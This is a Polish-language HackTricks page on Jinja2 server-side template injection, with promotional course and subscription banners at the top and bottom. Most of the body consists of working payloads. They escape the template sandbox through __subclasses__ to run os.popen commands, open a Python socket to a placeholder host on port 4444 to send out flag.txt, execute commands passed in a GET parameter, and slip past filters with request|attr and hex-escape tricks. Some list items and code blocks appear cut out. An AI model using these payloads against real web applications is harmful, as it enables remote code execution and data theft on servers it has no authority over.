<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong><ahref="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
Jeśli rozszerzenie Debug jest włączone, tag `debug` będzie dostępny do wyświetlania bieżącego kontekstu oraz dostępnych filtrów i testów. Jest to przydatne do sprawdzenia, co jest dostępne do użycia w szablonie bez konieczności konfigurowania debugera.
Po pierwsze, w wstrzykiwaniu Jinja musisz **znaleźć sposób na ucieczkę z piaskownicy** i odzyskanie dostępu do normalnego przepływu wykonania w Pythonie. Aby to zrobić, musisz **nadużywać obiektów**, które są **z poza środowiska piaskownicy, ale dostępne z piaskownicy**.
Na przykład, w kodzie `render_template("hello.html", username=username, email=email)` obiekty username i email **pochodzą z niepiaskownicowego środowiska Pythona** i będą **dostępne** wewnątrz **środowiska piaskownicy**.\
Ponadto, istnieją inne obiekty, które będą **zawsze dostępne z środowiska piaskownicy**, a są to:
Następnie, z tych obiektów musimy dotrzeć do klasy: **`<class 'object'>`** w celu próby **odzyskania** zdefiniowanych **klas**. Jest to możliwe, ponieważ z tego obiektu możemy wywołać metodę **`__subclasses__`** i **uzyskać dostęp do wszystkich klas z niezabezpieczonego** środowiska Pythona.
Aby uzyskać dostęp do tej **klasy obiektu**, musisz uzyskać dostęp do obiektu klasy, a następnie uzyskać dostęp do **`__base__`**, **`__mro__()[-1]`** lub `.`**`mro()[-1]`**. Następnie, **po** dotarciu do tej **klasy obiektu**, wywołujemy **`__subclasses__()`**.
**Po odzyskaniu** `<class 'object'>` i wywołaniu `__subclasses__` możemy teraz użyć tych klas do odczytywania i zapisywania plików oraz wykonywania kodu.
Wywołanie `__subclasses__` dało nam możliwość **dostępu do setek nowych funkcji**, będziemy zadowoleni tylko przez dostęp do **klasy pliku** do **odczytu/zapisu plików** lub dowolnej klasy z dostępem do klasy, która **pozwala na wykonywanie poleceń** (jak `os`).
**RCE** (Remote Code Execution) to atak, który pozwala hakerowi wykonać kod zdalnie na serwerze. Jest to jedno z najgroźniejszych narzędzi w rękach hakerów, ponieważ umożliwia im zdalne kontrolowanie systemu i wykonanie dowolnych poleceń. Atak RCE może prowadzić do wycieku poufnych danych, usunięcia lub modyfikacji plików systemowych oraz przejęcia pełnej kontroli nad serwerem. Hakerzy często wykorzystują podatności w aplikacjach internetowych, takich jak podatności w silnikach szablonów, aby osiągnąć RCE. Dlatego ważne jest, aby zabezpieczyć aplikacje przed takimi atakami poprzez regularne aktualizacje i audyty bezpieczeństwa.
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("ls").read()}}{%endif%}{% endfor %}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %}
## Passing the cmd line in a GET param
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}
request|attr(request.headers.c) #Send a header like "c: __class__" (any trick using get params can be used with headers also)
request|attr(request.args.c) #Send a param like "?c=__class__
request|attr(request.query_string[2:16].decode() #Send a param like "?c=__class__
request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join) # Join list to string
http://localhost:5000/?c={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_ #Formatting the string from get params
Z [**globalnych obiektów**](jinja2-ssti.md#accessing-global-objects) istnieje inny sposób na uzyskanie **RCE bez użycia tej klasy**.\
Jeśli uda ci się uzyskać dostęp do dowolnej **funkcji** z tych globalnych obiektów, będziesz mógł uzyskać dostęp do **`__globals__.__builtins__`** i stamtąd **RCE** jest bardzo **proste**.
Możesz **znaleźć funkcje** z obiektów **`request`**, **`config`** i dowolnego **innego** interesującego **globalnego obiektu**, do którego masz dostęp, za pomocą:
{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("ls")["read"]() %} {{ a }} {% endwith %}
{% endraw %}
## Extra
## The global from config have a access to a function called import_string
## with this function you don't need to access the builtins
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong><ahref="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.